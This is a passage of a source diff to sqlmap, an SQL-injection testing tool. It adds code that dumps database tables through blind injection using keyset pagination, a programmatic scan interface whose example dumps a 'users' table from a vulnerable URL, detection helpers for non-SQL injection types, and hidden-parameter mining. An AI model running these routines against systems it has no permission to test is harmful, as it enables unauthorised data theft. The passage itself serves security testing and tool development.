dumped columns. + """ + + if not keysetSupported(): + return None + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + + # 1) a declared physical row-id pseudo-column (always unique + indexed where supported) + if "rowid" in dumpNode.blind: + return [dumpNode.blind.rowid] + + # 2) the indexed primary key (single-column, or composite when keyset_ordered is declared) + pkNode = dumpNode.primary_key + + # Note: schema/table are string literals in the catalog lookups, so the unquoted + # (identifier-unescaped) names are used (the dump queries keep the quoted form) + unsafeDb = unsafeSQLIdentificatorNaming(conf.db) + unsafeTbl = unsafeSQLIdentificatorNaming(tbl) + + # Note: no whereQuery() here - these are catalog (schema) lookups, so the data-row + # filter from --where must not be appended to them + query = pkNode.count % (unsafeDb, unsafeTbl) + count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + try: + count = int(count) + except (ValueError, TypeError): + return None + + if count < 1: + return None + + # composite keys require the row-value/ordered keyset form + if count > 1 and "keyset_ordered" not in dumpNode.blind: + return None + + cursor = [] + for index in xrange(count): + query = pkNode.query % (unsafeDb, unsafeTbl, index) + column = unArrayizeValue(inject.getValue(query)) + + if not column: + return None + + match = None + for _ in colList: + if _ and _.lower() == column.lower(): + match = _ + break + + if match is None: + return None + + cursor.append(match) + + # restrict to integer cursors: a string key's escaped-literal comparison may order + # differently than MIN/ORDER BY and silently skip rows (such keys fall back to OFFSET) + if not _integerCursor(tbl, cursor): + return None + + return cursor + +def _lit(value): + """ + Type-correct SQL literal for a cursor value: a bare numeric literal for numeric keys + (so the index is still used and the comparison is numeric), otherwise the DBMS-escaped + (e.g. 0x.. hex) form for string keys. Both forms are self-contained (no surrounding quotes). + """ + + if value is None: + return NULL # unescaper.escape() passes None through, and a bare + # None formatted into a predicate is not even SQL + if re.match(r"\A-?[0-9]+\Z", value): + return value + return unescaper.escape(value, False) + +def _embed(template, value, *fixed): + """ + Fills a single-column keyset template whose trailing placeholder is the cursor value. + """ + + template = template.replace("'%s'", "%s") + return template % (fixed + (_lit(value),)) + +def _target(count): + """Rows the walk is expected to produce, honouring --start/--stop.""" + + if conf.limitStart and conf.limitStop: + return max(0, conf.limitStop - conf.limitStart + 1) + elif conf.limitStop: + return conf.limitStop + elif conf.limitStart: + return max(0, count - conf.limitStart + 1) + + return count + +def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths): + """False when the walk gave up mid-table (the caller then discards the partial result).""" + + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + field = agent.preprocessField(tbl, cursor) + target = _target(count) + + pivotValue = None + + # hybrid: a single OFFSET jump to seed the cursor just before --start, then pure keyset + if conf.limitStart and conf.limitStart > 1 and "keyset_seed" in blind: + query = agent.whereQuery(blind.keyset_seed % (field, tableRef, field, conf.limitStart - 2)) + seed = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(seed) or seed == NULL: + return False # no seed, no walk - and an empty table is not that + + pivotValue = safechardecode(seed) + + produced = 0 + + while produced < target: + # Advance with ORDER BY ... LIMIT 1 (like the composite path), NOT MIN(): the value-extraction + # casts the aggregated column to VARCHAR *inside* MIN(), yielding a LEXICAL minimum ('10' after + # '1') that disagrees with the numeric '>' comparison and silently skips rows (2..9, 11..). The + # ORDER BY is on the raw (numeric) column, so the next cursor value is the true successor. + condition = "1=1" if pivotValue is None else "%s>%s" % (field, _lit(pivotValue)) + query = agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, field)) + value = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(value) or value == NULL: + break + + value = safechardecode(value) + + # safety latch against a non-advancing cursor (e.g. encoding edge cases) + if value == pivotValue: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + return False + + pivotValue = value + + for column in colList: + if column == cursor: + colValue = pivotValue + else: + query = _embed(blind.keyset_by, pivotValue, agent.preprocessField(tbl, column), tableRef, field) + query = agent.whereQuery(query) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + + return True + +def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths): + """False when the walk gave up mid-table (the caller then discards the partial result).""" + + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + fields = [agent.preprocessField(tbl, _) for _ in cursorCols] + orderExpr = ','.join(fields) + + startSkip = (conf.limitStart - 1) if conf.limitStart else 0 + target = _target(count) + + prev = None + produced = 0 + seen = 0 + + while produced < target and seen < count: + if prev is None: + condition = "1=1" + else: + # Portable lexicographic seek predicate. ANSI row-value comparison ((a,b)>(x,y)) is not + # supported on MSSQL/Oracle - there it errored, stopping the walk after the first row - + # so expand it to (a>x) OR (a=x AND b>y) OR ... which uses only scalar comparisons. + ors = [] + for i in xrange(len(fields)): + terms = ["%s=%s" % (fields[j], _lit(prev[j])) for j in xrange(i)] + terms.append("%s>%s" % (fields[i], _lit(prev[i]))) + ors.append("(%s)" % " AND ".join(terms)) + condition = "(%s)" % " OR ".join(ors) + + tup = [] + for field in fields: + query = agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, orderExpr)) + value = unArrayizeValue(inject.getValue(query)) + tup.append(None if isNoneValue(value) else safechardecode(value)) + + if all(isNoneValue(_) for _ in tup): + break # nothing past the cursor: the table is walked + + # A key column that did not come back (an error-channel miss, a blocked payload) cannot be + # seeked on, and its equality would pin the rest of the row to a NULL - so the walk stops + # here rather than emitting a row of empty cells and carrying the hole into the next seek + if any(isNoneValue(_) for _ in tup): + singleTimeWarnMessage("keyset cursor could not be retrieved for one of the key column(s)") + return False + + if prev is not None and tup == prev: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + return False + + prev = tup + seen += 1 + + if seen <= startSkip: + continue + + equals = " AND ".join("%s=%s" % (field, _lit(value)) for field, value in zip(fields, tup)) + + for column in colList: + if column in cursorCols: + colValue = tup[cursorCols.index(column)] + else: + query = agent.whereQuery(blind.keyset_where % (agent.preprocessField(tbl, column), tableRef, equals)) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + + return True + +def keysetDumpTable(tbl, colList, count, cursor): + """ + Dumps a table one row at a time using keyset (seek) pagination on 'cursor' (a list of + one or more indexed key columns): the next row is reached with a >/row-value comparison + against the previous cursor (index range scan) and every other column is fetched with an + exact equality on the cursor (index point seek), so no row is skipped via OFFSET and no + per-row ORDER BY filesort is needed. A deep --start uses a single OFFSET "seed" jump + (single-column cursors), after which the walk is pure keyset. + + Returns None when the walk gave up mid-table (a key value that did not come back, a cursor + that stopped advancing): a short table is worse than a slow one, so the caller redoes it + with the standard OFFSET dump instead of showing whatever was reached. + """ + + tableRef = _tableRef(tbl) + lengths = {} + entries = {} + + for column in colList: + lengths[column] = 0 + entries[column] = BigArray() + + if len(cursor) == 1: + complete = _dumpSingle(tbl, colList, count, cursor[0], tableRef, entries, lengths) + else: + complete = _dumpComposite(tbl, colList, count, cursor, tableRef, entries, lengths) + + if not complete: + warnMsg = "keyset pagination did not complete for table '%s', " % unsafeSQLIdentificatorNaming(tbl) + warnMsg += "falling back to the standard dump" + logger.warning(warnMsg) + + return None + + debugMsg = "keyset pagination retrieved %d row(s) for table '%s'" % (len(entries[colList[0]]) if colList and colList[0] in entries else 0, unsafeSQLIdentificatorNaming(tbl)) + logger.debug(debugMsg) + + return entries, lengths diff --git a/lib/utils/library.py b/lib/utils/library.py new file mode 100644 index 00000000000..c30cdeff322 --- /dev/null +++ b/lib/utils/library.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'. +# +# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an +# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so +# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'. + +import json +import os +import sys +import tempfile + +__all__ = ["scan", "scanFromRequest", "SqlmapError"] + +# Absolute path of the engine entry point (this module lives at /lib/utils/library.py) +SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py") + +class SqlmapError(Exception): + """ + Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report + """ + + pass + +def _terminateProcess(process): + """ + Best-effort hard teardown of a scan subprocess together with its whole process group, so a + timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall + back to killing the process itself) + """ + + import signal + + try: + if os.name != "nt" and hasattr(os, "killpg"): + os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM)) + else: + process.kill() + except (OSError, AttributeError): + try: + process.kill() + except (OSError, AttributeError): + pass + +def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options): + """ + Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage). + + Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration + file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So + scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", level=3) is equivalent to + the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users', + 'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed + with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no + argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not + expressible as a config option (e.g. raw=["--fresh-queries"]). + + The engine runs fully out-of-process, so a scan can never affect the calling process (no shared + global state, no HTTP-stack patching, no risk of the host being exited). The return value is the + parsed '--report-json' report - the same structure as the REST API '/scan//data' response: a + dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES, + BANNER, DUMP_TABLE, ...), 'error' and 'meta'. + + scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once + in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan, + url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API + subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own + output directory (so parallel scans of the same target can not collide on session/dump files and + nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in + memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass + 'outputDir' to keep the run's files. + + Example: + import sqlmap + result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users") + """ + + import shutil + import subprocess + import time + + from lib.core.common import saveConfig + from lib.core.optiondict import optDict + + if not (url or requestFile): + raise SqlmapError("scan() requires either 'url' or 'requestFile'") + + if not os.path.isfile(SQLMAP_FILE): + raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE) + + knownOptions = set() + for family in optDict.values(): + knownOptions.update(family) + + config = {} + if url: + config["url"] = url + if requestFile: + config["requestFile"] = requestFile + config.update(options) + + unknown = [_ for _ in config if _ not in knownOptions] + if unknown: + raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown))) + + handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json") + os.close(handle) + + # Each run gets its own output directory so concurrent scans can not collide on session/dump files + # and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place. + ownOutput = not outputDir + if ownOutput: + outputDir = tempfile.mkdtemp(prefix="sqlmap-output-") + + # engine plumbing goes through the very same option namespace + config["batch"] = True + config["disableColoring"] = True + config["outputDir"] = outputDir + config["reportJson"] = report + + handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf") + os.close(handle) + saveConfig(config, configFile) + + argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"] + if raw: + argv += list(raw) + + logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log") + devnull = open(os.devnull, "rb") + + kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT} + if os.name == "nt": + kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0) + elif sys.version_info >= (3, 2): + kwargs["start_new_session"] = True # own process group -> clean group teardown + else: + kwargs["preexec_fn"] = os.setsid + + process = None + try: + process = subprocess.Popen(argv, **kwargs) + + if timeout is None: + process.wait() + else: + end = time.time() + timeout + while process.poll() is None: + if time.time() > end: + _terminateProcess(process) + process.wait() + raise SqlmapError("scan timed out after %s second(s)" % timeout) + time.sleep(0.5) + + try: + with open(report, "rb") as f: + return json.loads(f.read().decode("utf-8", "replace")) + except (IOError, OSError, ValueError): + try: + with open(logFile, "rb") as f: + tail = f.read().decode("utf-8", "replace").strip() + except (IOError, OSError): + tail = "" + raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:])) + finally: + try: + os.close(logHandle) + except OSError: + pass + devnull.close() + for path in (report, logFile, configFile): + try: + os.remove(path) + except OSError: + pass + if ownOutput: + shutil.rmtree(outputDir, ignore_errors=True) + +def scanFromRequest(requestFile, **options): + """ + Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r') + """ + + return scan(requestFile=requestFile, **options) diff --git a/lib/utils/nonsql.py b/lib/utils/nonsql.py new file mode 100644 index 00000000000..5bab6ae756e --- /dev/null +++ b/lib/utils/nonsql.py @@ -0,0 +1,188 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Shared detection primitives for the non-SQL injection techniques (--nosql, --xpath, --ldap, --hql, +--ssti, --graphql, --xxe). Each of those engines historically carried its own copy of the same +response-comparison, error/blocked-status filtering, blind-bit classification and user-oracle logic; +this module is the single home for that shared machinery so the behavior is uniform and reviewable +in one place rather than drifting across six files. +""" + +import difflib +import re + +from lib.core.common import urldecode +from lib.core.common import urlencode +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import UPPER_RATIO_BOUND +from lib.parse.html import htmlParser + +# Minimum similarity margin by which a blind-extraction response must lean toward the confirmed TRUE +# model over the FALSE model before a bit is accepted as true (else ambiguous -> false). Deliberately +# generous: a small (e.g. 5%) margin lets a noisy page fabricate values one character at a time. +EXTRACT_MATCH_MARGIN = 0.2 + +# HTTP statuses that mean the response is BLOCKED (WAF / rate-limit); together with 5xx these must +# never be fed to a boolean oracle as if they were application content. +BLOCKED_HTTP_CODES = frozenset((403, 429)) + +# generic SQL/DBMS error marker (mirrors lib/parse/html.py's own generic check), used alongside the +# DBMS-specific errors.xml signatures that htmlParser() recognizes +_SQL_ERROR_REGEX = re.compile(r"(?i)SQL (warning|error|syntax)") + + +def ratio(first, second): + """Content-similarity ratio shared by every non-SQL detector (difflib quick_ratio over the two + response bodies) - one implementation instead of six identical copies.""" + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def stripReflection(page, payload): + """ + Remove the payload from the page before any two responses are compared. + + An endpoint that merely ECHOES the parameter returns a different page for every different payload, so + a true/false differential is satisfied without a single expression, filter or operator ever being + interpreted. That is not injection, and it is how plain reflective search pages were reported as + XPath / LDAP / NoSQL injectable. + + Deliberately NOT lib.core.common.removeReflectiveValues: that one is a scan-wide heuristic which + switches ITSELF OFF after REFLECTIVE_MISS_THRESHOLD misses, after a regex timeout, and during + heuristic mode - so a detection guard built on it silently stops guarding mid-scan. This is a plain, + deterministic substring removal with no global state and no failure mode. The two are complementary, + and the engines apply both. + + The raw, URL-decoded and URL-encoded forms are all removed: a payload travels encoded, and an + application may echo whichever of the three it happened to hold. + """ + + if not page or not payload: + return page + + retVal = getUnicode(page) + forms = set() + for form in (payload, urldecode(payload, convall=True), urlencode(payload, safe="")): + try: + forms.add(getUnicode(form)) + except Exception: + pass + # longest first, so a shorter form cannot chop a longer one into unremovable pieces + for form in sorted(filter(None, forms), key=len, reverse=True): + if form in retVal: + retVal = retVal.replace(form, REFLECTED_VALUE_MARKER) + return retVal + + +def blockedStatus(code): + """True when an HTTP status means the response is blocked/errored (a 5xx, or a WAF/rate-limit + 403/429) and so is not a usable oracle sample. `_send()` implementations return None for these + (and for transport exceptions) so the boolean routines, which reject None, can never decide on + a non-answer.""" + return bool(code) and (code >= 500 or code in BLOCKED_HTTP_CODES) + + +def sqlErrorPresent(page): + """True when the response carries a recognized SQL/DBMS error - either a DBMS-specific signature + from sqlmap's errors.xml (via htmlParser) or the generic 'SQL warning/error/syntax' marker. The + non-SQL detectors treat such a page as NOT a valid boolean template, so a payload that merely + trips a back-end SQL syntax error cannot fake a true/false divergence and get a plainly SQL- + injectable parameter mis-reported as NoSQL / XPath / LDAP / HQL.""" + page = page or "" + return bool(htmlParser(page)) or bool(_SQL_ERROR_REGEX.search(page)) + + +# Visible placeholder for a single recovered cell/attribute whose extraction was INCONCLUSIVE (the +# oracle stayed ambiguous after retries). Rendered in dumps in place of the value so a failed cell is +# never silently shown as a genuine empty string - `None` from an extractor means "unknown", `""` means +# "really empty", and they must stay distinguishable in the output. +INCONCLUSIVE_MARK = "" + + +class InconclusiveError(Exception): + """Raised by resolveBit(abort=True) when a bit stays INCONCLUSIVE after retries. Per-value + extractors catch it to ABORT the current value (return what was recovered so far, marked + incomplete) instead of substituting a semantic False - which would corrupt a length, pick the + wrong half of a bisection, or truncate enumeration.""" + + +class Decision(object): + """Tri(+)-state blind-inference outcome. INCONCLUSIVE is deliberately DISTINCT from FALSE: an + ambiguous comparison (equally close to both models, close to neither, or a transport/blocked + anomaly) must be retried/aborted, NOT silently read as a semantic false - which would shorten a + value, pick the wrong half of a bisection or truncate enumeration.""" + TRUE = "TRUE" + FALSE = "FALSE" + INCONCLUSIVE = "INCONCLUSIVE" + + +def decide(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN): + """Classify a blind-inference response against the two calibrated models, returning a Decision. + TRUE when it resembles the confirmed TRUE model (identical, or clearly closer to it than to the + FALSE model by `margin`); FALSE when it resembles the FALSE model; INCONCLUSIVE when it leans to + neither (so the caller can retry or abort rather than guess).""" + if page is None: + return Decision.INCONCLUSIVE + simTrue, simFalse = ratio(trueModel, page), ratio(falseModel, page) + if simTrue >= UPPER_RATIO_BOUND and simTrue >= simFalse: + return Decision.TRUE + if simFalse >= UPPER_RATIO_BOUND and simFalse >= simTrue: + return Decision.FALSE + if (simTrue - simFalse) >= margin: + return Decision.TRUE + if (simFalse - simTrue) >= margin: + return Decision.FALSE + return Decision.INCONCLUSIVE + + +def resolveBit(page, trueModel, falseModel, resend, retries=2, margin=EXTRACT_MATCH_MARGIN, abort=True): + """Resolve one blind bit to True/False. On an INCONCLUSIVE first read, RE-SEND (fresh, cache- + bypassing) up to `retries` times to ride out transient jitter before deciding. `resend` is a + 0-arg callable returning a fresh page (or None on error/block). If a bit stays INCONCLUSIVE after + the retries: raise InconclusiveError when `abort` (the caller aborts the CURRENT VALUE rather than + corrupt it), else return False.""" + d = decide(page, trueModel, falseModel, margin) + tries = 0 + while d is Decision.INCONCLUSIVE and tries < retries: + page = resend() + if page is None: + break + d = decide(page, trueModel, falseModel, margin) + tries += 1 + if d is Decision.INCONCLUSIVE and abort: + raise InconclusiveError() + return d is Decision.TRUE + + +def leansTrue(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN): + """Boolean shorthand for `decide(...) is Decision.TRUE` (kept for callers that don't retry). + A page indistinguishable from the FALSE model, or ambiguous, is NOT true - so a dynamic token, a + changed error page, a WAF/rate-limit body or a transient exception can never fabricate a bit.""" + return decide(page, trueModel, falseModel, margin) is Decision.TRUE + + +def userOracleActive(): + """True when the user supplied an explicit true/false response signal (--string / --not-string / + --regexp) that the non-SQL techniques should honor instead of relying on raw page similarity.""" + return bool(getattr(conf, "string", None) or getattr(conf, "notString", None) or getattr(conf, "regexp", None)) + + +def userDecision(page): + """Classify a response with the user's explicit oracle (--string / --not-string / --regexp), + returning True/False, or None when no override is set (caller falls back to content comparison). + Page-only: HTTP-code overrides (--code) stay per-engine, where the status line is available. + + This routes the non-SQL boolean detectors through sqlmap's documented detection overrides - the + same knobs the SQL engine honors - rather than discarding them for a fixed similarity ratio.""" + page = page or "" + if getattr(conf, "string", None): + return conf.string in page + if getattr(conf, "notString", None): + return conf.notString not in page + if getattr(conf, "regexp", None): + return re.search(conf.regexp, page) is not None + return None diff --git a/lib/utils/paraminer.py b/lib/utils/paraminer.py new file mode 100644 index 00000000000..a6a67f974b6 --- /dev/null +++ b/lib/utils/paraminer.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib + +from lib.core.compat import xrange +from lib.core.common import getFileItems +from lib.core.common import paramToDict +from lib.core.common import randomStr +from lib.core.common import singleTimeWarnMessage +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PLACE +from lib.core.settings import DIFF_TOLERANCE +from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH +from lib.core.settings import PARAMETER_MINING_BUCKET_SIZE +from lib.request.connect import Connect as Request + +# Benign, broadly-stable value used both to check whether a discovered parameter is safe to add and +# as its seed during testing (a random value would error out an integer/id context and defeat inference) +PROBE_VALUE = "1" + +def _canary(): + return randomStr(10, lowercase=True) + +def _fetch(get): + """ + Requests the target with the given GET query string, returning a (page, HTTP code) pair. + """ + + try: + page, _, code = Request.getPage(get=get or None, silent=True, raise404=False) + except Exception: + page, code = None, None + + return (page or ""), code + +def _ratio(first, second): + """ + Similarity of two response bodies, mirroring the core page comparison (see comparison.py): an + exact match, a length ratio for oversized bodies, otherwise difflib's quick_ratio(). + """ + + if not first or not second: + return 0.0 + + if first == second: + return 1.0 + + if any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (first, second)): + ratio = 1.0 * len(first) / len(second) + return ratio if ratio <= 1 else 1.0 / ratio + + return difflib.SequenceMatcher(None, first, second).quick_ratio() + +def _differs(page, base, floor): + """ + True when 'page' departs from the baseline by more than the target's own dynamic jitter ('floor'). + """ + + return bool(page) and _ratio(page, base) < floor - DIFF_TOLERANCE + +def _confirm(baseGet, name, base, floor): + """ + Confirms a single candidate in isolation with two differently-valued probes. Returns 'reflected' + when a value is echoed back (caught here even if a shared bucket hid it behind a preceding + parameter), 'behavioral' when both probes resemble each other yet depart from the baseline (its + presence, not its value, matters), otherwise None. + """ + + def _get(value): + pair = "%s=%s" % (name, value) + return "%s&%s" % (baseGet, pair) if baseGet else pair + + canaries = (_canary(), _canary()) + first, second = _fetch(_get(canaries[0]))[0], _fetch(_get(canaries[1]))[0] + + if not (first and second): + return None + + if (canaries[0] in first or canaries[1] in second) and not any(_ in base for _ in canaries): + return "reflected" + + if _ratio(first, second) < floor - DIFF_TOLERANCE: # value-dependent yet not reflected -> unreliable + return None + + if _differs(first, base, floor) and _differs(second, base, floor): + return "behavioral" + + return None + +def _chunks(sequence, size): + for i in xrange(0, len(sequence), size): + yield sequence[i:i + size] + +def _discover(candidates, baseGet, base, floor): + """ + Probes candidate names in buckets (one shared request per bucket, each name carrying its own + random canary) and returns the confirmed ones as (name, reason) pairs. Reflection is resolved + straight from the bucket response; the rest are confirmed individually only when the bucket + actually moved the response, so a target that ignores every candidate stays cheap. + """ + + found = [] + + for chunk in _chunks(candidates, PARAMETER_MINING_BUCKET_SIZE): + canaries = dict((name, _canary()) for name in chunk) + query = "&".join("%s=%s" % (name, canaries[name]) for name in chunk) + page = _fetch("%s&%s" % (baseGet, query) if baseGet else query)[0] + + if not page: + continue + + pending = [] + for name in chunk: + if canaries[name] in page and canaries[name] not in base: + found.append((name, "reflected")) + else: + pending.append(name) + + if pending and _differs(page, base, floor): + for name in pending: + reason = _confirm(baseGet, name, base, floor) + if reason: + found.append((name, reason)) + + return found + +def _commit(found, baseGet, baseCode): + """ + Adds the discovered parameters (seeded with PROBE_VALUE) to the GET test scope. One that turns + the request into a server error the baseline did not have would shadow and corrupt the testing + of every sibling parameter, so it is reported and held back rather than degrading detection. + """ + + safe, disruptive = [], [] + + for name, _ in found: + pair = "%s=%s" % (name, PROBE_VALUE) + code = _fetch("%s&%s" % (baseGet, pair) if baseGet else pair)[1] + if code is not None and code >= 500 and not (baseCode is not None and baseCode >= 500): + disruptive.append(name) + else: + safe.append(name) + + if disruptive: + logger.warning("held back parameter(s) that break the base request with a test value (test them explicitly with '-p'): %s" % ", ".join("'%s'" % _ for _ in disruptive)) + + if not safe: + return + + logger.info("adding %d discovered parameter(s) to the test scope: %s" % (len(safe), ", ".join("'%s'" % _ for _ in safe))) + + additions = "&".join("%s=%s" % (name, PROBE_VALUE) for name in safe) + conf.parameters[PLACE.GET] = "%s&%s" % (baseGet, additions) if baseGet else additions + conf.paramDict[PLACE.GET] = paramToDict(PLACE.GET, conf.parameters[PLACE.GET]) + +def mineParameters(): + """ + Discovers hidden (unlinked) GET parameters the target still processes and queues the confirmed + ones for the regular injection tests, using two independent oracles (value reflection and a + behavioral side effect on the response). + """ + + if conf.data or (conf.method and conf.method != HTTPMETHOD.GET): + singleTimeWarnMessage("'--mine-params' currently supports GET parameters only") + return + + baseGet = conf.parameters.get(PLACE.GET) or "" + existing = set(conf.paramDict.get(PLACE.GET) or {}) + candidates = [_ for _ in getFileItems(paths.COMMON_PARAMETERS, unique=True) if _ and _ not in existing] + + if not candidates: + return + + logger.info("mining for hidden GET parameters (%d candidate name(s))" % len(candidates)) + + base, baseCode = _fetch(baseGet) + if not base: + singleTimeWarnMessage("could not obtain a baseline response, skipping parameter mining") + return + + floor = _ratio(base, _fetch(baseGet)[0]) # the target's own between-request jitter + + found = _discover(candidates, baseGet, base, floor) + + for name, reason in found: + logger.info("found hidden parameter '%s' (%s)" % (name, reason)) + + if not found: + logger.info("no hidden parameters found") + return + + _commit(found, baseGet, baseCode) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 70d139ee244..96a30d58c89 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -14,10 +14,12 @@ from lib.core.common import getSafeExString from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue +from lib.core.common import prioritySortColumns from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange +from lib.core.convert import getConsoleLength from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -28,7 +30,6 @@ from lib.core.enums import EXPECTED from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException -from lib.core.settings import MAX_INT from lib.core.settings import NULL from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.unescaper import unescaper @@ -44,6 +45,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): validColumnList = False validPivotValue = False + compositePivot = None if count is None: query = dumpNode.count % table @@ -58,7 +60,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): logger.info(infoMsg) for column in colList: - lengths[column] = len(column) + lengths[column] = getConsoleLength(column) entries[column] = [] return entries, lengths @@ -70,7 +72,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths[column] = 0 entries[column] = BigArray() - colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) + colList = prioritySortColumns(filterNone(colList)) if conf.pivotColumn: for _ in colList: @@ -117,6 +119,26 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) + if not validPivotValue: + # No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a + # concatenation of every column) whose combined value is unique per row, so rows sharing + # a value in every individual column are no longer silently dropped (ref: #1545). + _composite = agent.concatQuery(','.join(colList)) + query = dumpNode.count2 % (_composite, table) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if isNumPosStrValue(value) and int(value) == count: + infoMsg = "using a concatenation of all columns as a " + infoMsg += "composite pivot for retrieving row data" + logger.info(infoMsg) + + compositePivot = _composite + lengths[compositePivot] = 0 + entries[compositePivot] = BigArray() + colList.insert(0, compositePivot) + validPivotValue = True + if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" @@ -169,7 +191,7 @@ def _(column, pivotValue): value = "" if isNoneValue(value) else unArrayizeValue(value) - lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: @@ -185,4 +207,9 @@ def _(column, pivotValue): logger.critical(errMsg) + # The composite pivot is a synthetic paging key, not a real column - drop it from the output + if compositePivot is not None: + entries.pop(compositePivot, None) + lengths.pop(compositePivot, None) + return entries, lengths diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 1bfb10656d9..97e58a9bb91 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -13,6 +13,8 @@ from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb +from 